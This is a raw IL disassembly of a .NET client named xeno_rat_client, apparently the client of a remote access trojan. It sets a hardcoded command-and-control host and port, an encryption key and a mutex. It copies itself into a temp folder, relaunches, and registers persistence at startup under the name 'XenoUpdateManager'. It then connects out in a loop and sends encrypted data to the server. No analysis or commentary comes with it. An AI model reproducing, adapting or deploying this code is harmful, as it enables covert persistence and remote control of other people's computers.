    00005389ldloc.s 4
    0000538bstelem.i1
    0000538cstloc.s 6
    0000538eldloc.s 4
    00005390ldc.i4.1
    00005391bne.un.s IL_0080
    00005393ldloc.s 6
    00005395ldloc.1
    00005396ldloc.s 5
    00005398call IntToBytes
    0000539dcall Concat
    000053a2stloc.s 6
    000053a4ldarg.0
    000053a5ldloc.s 6
    000053a7ldarg.0
    000053a8ldfld data
    000053adcall Concat
    000053b2stfld data
    000053b7ldarg.0
    000053b8ldarg.0
    000053b9ldfld data
    000053beldloc.1
    000053bfldfld EncryptionKey
    000053c4call Encrypt
    000053c9stfld data
    000053celdarg.0
    000053cfldc.i4.1
    000053d0newarr System.Byte
    000053d5dup
    000053d6ldc.i4.0
    000053d7ldc.i4.3
    000053d8stelem.i1
    000053d9ldarg.0
    000053daldfld data
    000053dfcall Concat
    000053e4stfld data
    000053e9ldloc.1
    000053ealdarg.0
    000053ebldfld data
    000053f0ldlen
    000053f1conv.i4
    000053f2call IntToBytes
    000053f7stloc.s 7
    000053f9ldarg.0
    000053faldloc.s 7
    000053fcldarg.0
    000053fdldfld data
    00005402call Concat
    00005407stfld data
    0000540cldloc.1
    0000540dldfld sock
    00005412ldarg.0
    00005413ldfld data
    00005418newobj .ctor
    0000541dldc.i4.0
    0000541ecall SendAsync
    00005423callvirt GetAwaiter
    00005428stloc.s 8
    0000542aldloca.s 8
    0000542ccall get_IsCompleted
    00005431brtrue.s IL_014d
    00005433ldarg.0
    00005434ldc.i4.0
    00005435dup
    00005436stloc.0
    00005437stfld <>1__state
    0000543cldarg.0
    0000543dldloc.s 8
    0000543fstfld <>u__1
    00005444ldarg.0
    00005445ldflda <>t__builder
    0000544aldloca.s 8
    0000544cldarg.0
    0000544dcall 0x2B000038
    00005452leave.s IL_018b
    00005454ldarg.0
    00005455ldfld <>u__1
    0000545astloc.s 8
    0000545cldarg.0
    0000545dldflda <>u__1
    00005462initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<int32>
    00005468ldarg.0
    00005469ldc.i4.m1
    0000546adup
    0000546bstloc.0
    0000546cstfld <>1__state
    00005471ldloca.s 8
    00005473call GetResult
    00005478pop
    00005479ldc.i4.1
    0000547astloc.2
    0000547bleave.s IL_0177
    0000547dpop
    0000547eldc.i4.0
    0000547fstloc.2
    00005480leave.s IL_0177
    00005482stloc.s 9
    00005484ldarg.0
    00005485ldc.i4.s -2
    00005487stfld <>1__state
    0000548cldarg.0
    0000548dldflda <>t__builder
    00005492ldloc.s 9
    00005494call SetException
    00005499leave.s IL_018b
    0000549bldarg.0
    0000549cldc.i4.s -2
    0000549estfld <>1__state
    000054a3ldarg.0
    000054a4ldflda <>t__builder
    000054a9ldloc.2
    000054aacall SetResult
    000054afret
    00005324
    000054f0
    000054f0xeno_rat_client.Program::Main:
    000054f0ldloca.s 0
    000054f2call Create
    000054f7stfld <>t__builder
    000054fcldloca.s 0
    000054feldc.i4.m1
    000054ffstfld <>1__state
    00005504ldloca.s 0
    00005506ldflda <>t__builder
    0000550bldloca.s 0
    0000550dcall 0x2B000039
    00005512ldloca.s 0
    00005514ldflda <>t__builder
    00005519call get_Task
    0000551eret
    000054f0
    0000552c
    0000552cxeno_rat_client.Program::CurrentDomain_UnhandledException:
    0000552cldarg.1
    0000552dcallvirt get_ExceptionObject
    00005532isinst System.Exception
    00005537stloc.0
    00005538ldsfld Server
    0000553dbrfalse IL_0097
    00005542ldsfld Server
    00005547ldfld subNodes
    0000554ccallvirt GetEnumerator
    00005551stloc.1
    00005552br.s IL_007e
    00005554ldloca.s 1
    00005556call get_Current
    0000555bstloc.2
    0000555cldloc.2
    0000555dldfld SockType
    00005562ldc.i4.1
    00005563bne.un.s IL_007e
    00005565ldloc.2
    00005566ldc.i4.1
    00005567newarr System.Byte
    0000556cdup
    0000556dldc.i4.0
    0000556eldc.i4.3
    0000556fstelem.i1
    00005570call get_UTF8
    00005575ldloc.0
    00005576callvirt get_Message
    0000557bcall get_NewLine
    00005580ldloc.0
    00005581callvirt get_StackTrace
    00005586call Concat
    0000558bcallvirt GetBytes
    00005590call Concat
    00005595callvirt SendAsync
    0000559acallvirt get_Result
    0000559fpop
    000055a0ldc.i4 1000
    000055a5call Sleep
    000055aaldloca.s 1
    000055accall MoveNext
    000055b1brtrue.s IL_0028
    000055b3leave.s IL_0097
    000055b5ldloca.s 1
    000055b7constrained. valuetype Enumerator<class xeno_rat_client.Node>
    000055bdcallvirt Dispose
    000055c2endfinally
    000055c3leave.s IL_009c
    000055c5pop
    000055c6leave.s IL_009c
    000055c8call GetEntryAssembly
    000055cdcallvirt get_Location
    000055d2call Start
    000055d7pop
    000055d8call GetCurrentProcess
    000055ddcallvirt Kill
    000055e2ret
    0000552c
    0000560c
    0000560cxeno_rat_client.Program::.cctor:
    0000560cnewobj .ctor
    00005611stsfld dllhandler
    00005616ldstr "osocraft.ddns.net"
    0000561bstsfld ServerIp
    00005620ldc.i4 25566
    00005625stsfld ServerPort
    0000562aldc.i4.s 32
    0000562cnewarr System.Byte
    00005631dup
    00005632ldtoken 630DCD2966C4336691125448BBB25B4FF412A49C732DB2C8ABC1B8581BD710DD
    00005637call InitializeArray
    0000563cstsfld EncryptionKey
    00005641ldc.i4 5000
    00005646stsfld delay
    0000564bldstr "IAMAFUCKINGRAN"
    00005650stsfld mutex_string
    00005655ldc.i4 1
    0000565astsfld DoStartup
    0000565fldstr "temp"
    00005664stsfld Install_path
    00005669ldstr "Client"
    0000566estsfld startup_name
    00005673newobj .ctor
    00005678stsfld ProcessLog
    0000567dret
    0000560c
    0000568c
    0000568cxeno_rat_client.Program::<Main>:
    0000568cldarg.0
    0000568dcall Main
    00005692callvirt GetAwaiter
    00005697stloc.0
    00005698ldloca.s 0
    0000569acall GetResult
    0000569fret
    0000568c
    000056ac
    000056ac<Main>d__11::MoveNext:
    000056acldarg.0
    000056adldfld <>1__state
    000056b2stloc.0
    000056b3ldloc.0
    000056b4switch (IL_013e, IL_01d7, IL_0246, IL_0272, IL_0272, IL_0272, IL_0461)
    000056d5call get_Out
    000056danewobj .ctor
    000056dfcall SetOut
    000056e4call get_CurrentDomain
    000056e9ldnull
    000056ealdftn CurrentDomain_UnhandledException
    000056f0newobj .ctor
    000056f5callvirt add_UnhandledException
    000056facall IsAdmin
    000056ffbrfalse.s IL_0069
    00005701ldsfld mutex_string
    00005706ldstr "-admin"
    0000570bcall Concat
    00005710stsfld mutex_string
    00005715ldsfld Install_path
    0000571aldstr "nothingset"
    0000571fcall op_Inequality
    00005724brfalse.s IL_00ea
    00005726ldstr "%"
    0000572bldsfld Install_path
    00005730ldstr "%\\XenoManager\\"
    00005735call Concat
    0000573acall ExpandEnvironmentVariables
    0000573fstloc.2
    00005740call GetCurrentDirectory
    00005745ldloc.2
    00005746call op_Inequality
    0000574bbrfalse.s IL_00e5
    0000574dcall GetEntryAssembly
    00005752callvirt get_Location
    00005757stloc.3
    00005758ldloc.2
    00005759call Exists
    0000575ebrtrue.s IL_00bb
    00005760ldloc.2
    00005761call CreateDirectory
    00005766pop
    00005767ldloc.3
    00005768ldloc.2
    00005769ldloc.3
    0000576acall GetFileName
    0000576fcall Concat
    00005774call Copy
    00005779ldloc.2
    0000577aldloc.3
    0000577bcall GetFileName
    00005780call Concat
    00005785call Start
    0000578apop
    0000578bldc.i4.0
    0000578ccall Exit
    00005791leave.s IL_00ea
    00005793pop
    00005794leave.s IL_00ea
    00005796ldc.i4.1
    00005797ldsfld mutex_string
    0000579cldloca.s 1
    0000579enewobj .ctor
    000057a3pop
    000057a4ldloc.1
    000057a5brtrue.s IL_0100
    000057a7leave IL_04c1
    000057acldsfld delay
    000057b1call Delay
    000057b6callvirt GetAwaiter
    000057bbstloc.s 4
    000057bdldloca.s 4
    000057bfcall get_IsCompleted
    000057c4brtrue.s IL_015b
    000057c6ldarg.0
    000057c7ldc.i4.0
    000057c8dup
    000057c9stloc.0
    000057castfld <>1__state
    000057cfldarg.0
    000057d0ldloc.s 4
    000057d2stfld <>u__1
    000057d7ldarg.0
    000057d8ldflda <>t__builder
    000057ddldloca.s 4
    000057dfldarg.0
    000057e0call 0x2B00003A
    000057e5leave IL_04d4
    000057ealdarg.0
    000057ebldfld <>u__1
    000057f0stloc.s 4
    000057f2ldarg.0
    000057f3ldflda <>u__1
    000057f8initobj System.Runtime.CompilerServices.TaskAwaiter
    000057feldarg.0
    000057ffldc.i4.m1
    00005800dup
    00005801stloc.0
    00005802stfld <>1__state
    00005807ldloca.s 4
    00005809call GetResult
    0000580eldsfld DoStartup
    00005813ldc.i4.1
    00005814bne.un IL_026b
    00005819ldsfld startup_name
    0000581eldstr "nothingset"
    00005823call op_Equality
    00005828brfalse.s IL_0188
    0000582aldstr "XenoUpdateManager"
    0000582fstsfld startup_name
    00005834call IsAdmin
    00005839brfalse.s IL_01fe
    0000583bcall GetEntryAssembly
    00005840callvirt get_Location
    00005845ldsfld startup_name
    0000584acall AddToStartupAdmin
    0000584fcallvirt GetAwaiter
    00005854stloc.s 5
    00005856ldloca.s 5
    00005858call get_IsCompleted
    0000585dbrtrue.s IL_01f4
    0000585fldarg.0
    00005860ldc.i4.1
    00005861dup
    00005862stloc.0
    00005863stfld <>1__state
    00005868ldarg.0
    00005869ldloc.s 5
    0000586bstfld <>u__2
    00005870ldarg.0
    00005871ldflda <>t__builder
    00005876ldloca.s 5
    00005878ldarg.0
    00005879call 0x2B00003B
    0000587eleave IL_04d4
    00005883ldarg.0
    00005884ldfld <>u__2
    00005889stloc.s 5
    0000588bldarg.0
    0000588cldflda <>u__2
    00005891initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    00005897ldarg.0
    00005898ldc.i4.m1
    00005899dup
    0000589astloc.0
    0000589bstfld <>1__state
    000058a0ldloca.s 5
    000058a2call GetResult
    000058a7pop
    000058a8br.s IL_026b
    000058aacall GetEntryAssembly
    000058afcallvirt get_Location
    000058b4ldsfld startup_name
    000058b9call AddToStartupNonAdmin
    000058becallvirt GetAwaiter
    000058c3stloc.s 5
    000058c5ldloca.s 5
    000058c7call get_IsCompleted
    000058ccbrtrue.s IL_0263
    000058celdarg.0
    000058cfldc.i4.2
    000058d0dup
    000058d1stloc.0
    000058d2stfld <>1__state
    000058d7ldarg.0
    000058d8ldloc.s 5
    000058dastfld <>u__2
    000058dfldarg.0
    000058e0ldflda <>t__builder
    000058e5ldloca.s 5
    000058e7ldarg.0
    000058e8call 0x2B00003B
    000058edleave IL_04d4
    000058f2ldarg.0
    000058f3ldfld <>u__2
    000058f8stloc.s 5
    000058faldarg.0
    000058fbldflda <>u__2
    00005900initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    00005906ldarg.0
    00005907ldc.i4.m1
    00005908dup
    00005909stloc.0
    0000590astfld <>1__state
    0000590fldloca.s 5
    00005911call GetResult
    00005916pop
    00005917ldarg.0
    00005918ldc.i4.0
    00005919stfld <>7__wrap2
    0000591enop
    0000591fldloc.0
    00005920ldc.i4.3
    00005921sub
    00005922switch (IL_02de, IL_0354, IL_03c5)
    00005933ldarg.0
    00005934ldc.i4.2
    00005935ldc.i4.1
    00005936ldc.i4.6
    00005937newobj .ctor
    0000593cstfld <socket>5__4
    00005941ldarg.0
    00005942ldfld <socket>5__4
    00005947ldsfld ServerIp
    0000594cldsfld ServerPort
    00005951call ConnectAsync
    00005956callvirt GetAwaiter
    0000595bstloc.s 4
    0000595dldloca.s 4
    0000595fcall get_IsCompleted
    00005964brtrue.s IL_02fb
    00005966ldarg.0
    00005967ldc.i4.3
    00005968dup
    00005969stloc.0
    0000596astfld <>1__state
    0000596fldarg.0
    00005970ldloc.s 4
    00005972stfld <>u__1
    00005977ldarg.0
    00005978ldflda <>t__builder
    0000597dldloca.s 4
    0000597fldarg.0
    00005980call 0x2B00003A
    00005985leave IL_04d4
    0000598aldarg.0
    0000598bldfld <>u__1
    00005990stloc.s 4
    00005992ldarg.0
    00005993ldflda <>u__1
    00005998initobj System.Runtime.CompilerServices.TaskAwaiter
    0000599eldarg.0
    0000599fldc.i4.m1
    000059a0dup
    000059a1stloc.0
    000059a2stfld <>1__state
    000059a7ldloca.s 4
    000059a9call GetResult
    000059aeldarg.0
    000059afldfld <socket>5__4
    000059b4ldsfld EncryptionKey
    000059b9ldc.i4.0
    000059baldc.i4.0
    000059bbldnull
    000059bcldftn OnDisconnect
    000059c2newobj .ctor
    000059c7call ConnectAndSetupAsync
    000059cccallvirt GetAwaiter
    000059d1stloc.s 6
    000059d3ldloca.s 6
    000059d5call get_IsCompleted
    000059dabrtrue.s IL_0371
    000059dcldarg.0
    000059ddldc.i4.4
    000059dedup
    000059dfstloc.0
    000059e0stfld <>1__state
    000059e5ldarg.0
    000059e6ldloc.s 6
    000059e8stfld <>u__3
    000059edldarg.0
    000059eeldflda <>t__builder
    000059f3ldloca.s 6
    000059f5ldarg.0
    000059f6call 0x2B00003C
    000059fbleave IL_04d4
    00005a00ldarg.0
    00005a01ldfld <>u__3
    00005a06stloc.s 6
    00005a08ldarg.0
    00005a09ldflda <>u__3
    00005a0einitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<class xeno_rat_client.Node>
    00005a14ldarg.0
    00005a15ldc.i4.m1
    00005a16dup
    00005a17stloc.0
    00005a18stfld <>1__state
    00005a1dldloca.s 6
    00005a1fcall GetResult
    00005a24stsfld Server
    00005a29ldsfld Server
    00005a2eldsfld dllhandler
    00005a33newobj .ctor
    00005a38callvirt Type0Receive
    00005a3dcallvirt GetAwaiter
    00005a42stloc.s 4
    00005a44ldloca.s 4
    00005a46call get_IsCompleted
    00005a4bbrtrue.s IL_03e2
    00005a4dldarg.0
    00005a4eldc.i4.5
    00005a4fdup
    00005a50stloc.0
    00005a51stfld <>1__state
    00005a56ldarg.0
    00005a57ldloc.s 4
    00005a59stfld <>u__1
    00005a5eldarg.0
    00005a5fldflda <>t__builder
    00005a64ldloca.s 4
    00005a66ldarg.0
    00005a67call 0x2B00003A
    00005a6cleave IL_04d4
    00005a71ldarg.0
    00005a72ldfld <>u__1
    00005a77stloc.s 4
    00005a79ldarg.0
    00005a7aldflda <>u__1
    00005a7finitobj System.Runtime.CompilerServices.TaskAwaiter
    00005a85ldarg.0
    00005a86ldc.i4.m1
    00005a87dup
    00005a88stloc.0
    00005a89stfld <>1__state
    00005a8eldloca.s 4
    00005a90call GetResult
    00005a95ldarg.0
    00005a96ldnull
    00005a97stfld <socket>5__4
    00005a9cleave.s IL_0405
    00005a9estloc.s 7
    00005aa0ldarg.0
    00005aa1ldloc.s 7
    00005aa3stfld <>7__wrap1
    00005aa8ldarg.0
    00005aa9ldc.i4.1
    00005aaastfld <>7__wrap2
    00005aafleave.s IL_0405
    00005ab1ldarg.0
    00005ab2ldfld <>7__wrap2
    00005ab7stloc.s 8
    00005ab9ldloc.s 8
    00005abbldc.i4.1
    00005abcbne.un IL_049c
    00005ac1ldarg.0
    00005ac2ldarg.0
    00005ac3ldfld <>7__wrap1
    00005ac8castclass System.Exception
    00005acdstfld <e>5__5
    00005ad2ldc.i4 10000
    00005ad7call Delay
    00005adccallvirt GetAwaiter
    00005ae1stloc.s 4
    00005ae3ldloca.s 4
    00005ae5call get_IsCompleted
    00005aeabrtrue.s IL_047e
    00005aecldarg.0
    00005aedldc.i4.6
    00005aeedup
    00005aefstloc.0
    00005af0stfld <>1__state
    00005af5ldarg.0
    00005af6ldloc.s 4
    00005af8stfld <>u__1
    00005afdldarg.0
    00005afeldflda <>t__builder
    00005b03ldloca.s 4
    00005b05ldarg.0
    00005b06call 0x2B00003A
    00005b0bleave.s IL_04d4
    00005b0dldarg.0
    00005b0eldfld <>u__1
    00005b13stloc.s 4
    00005b15ldarg.0
    00005b16ldflda <>u__1
    00005b1binitobj System.Runtime.CompilerServices.TaskAwaiter
    00005b21ldarg.0
    00005b22ldc.i4.m1
    00005b23dup
    00005b24stloc.0
    00005b25stfld <>1__state
    00005b2aldloca.s 4
    00005b2ccall GetResult
    00005b31ldarg.0
    00005b32ldfld <e>5__5
    00005b37callvirt get_Message
    00005b3ccall WriteLine
    00005b41ldarg.0
    00005b42ldnull
    00005b43stfld <e>5__5
    00005b48ldarg.0
    00005b49ldnull
    00005b4astfld <>7__wrap1
    00005b4fbr IL_026b
    00005b54stloc.s 9
    00005b56ldarg.0
    00005b57ldc.i4.s -2
    00005b59stfld <>1__state
    00005b5eldarg.0
    00005b5fldflda <>t__builder
    00005b64ldloc.s 9
    00005b66call SetException
    00005b6bleave.s IL_04d4
    00005b6dldarg.0
    00005b6eldc.i4.s -2
    00005b70stfld <>1__state
    00005b75ldarg.0
    00005b76ldflda <>t__builder
    00005b7bcall SetResult
    00005b80ret
    000056ac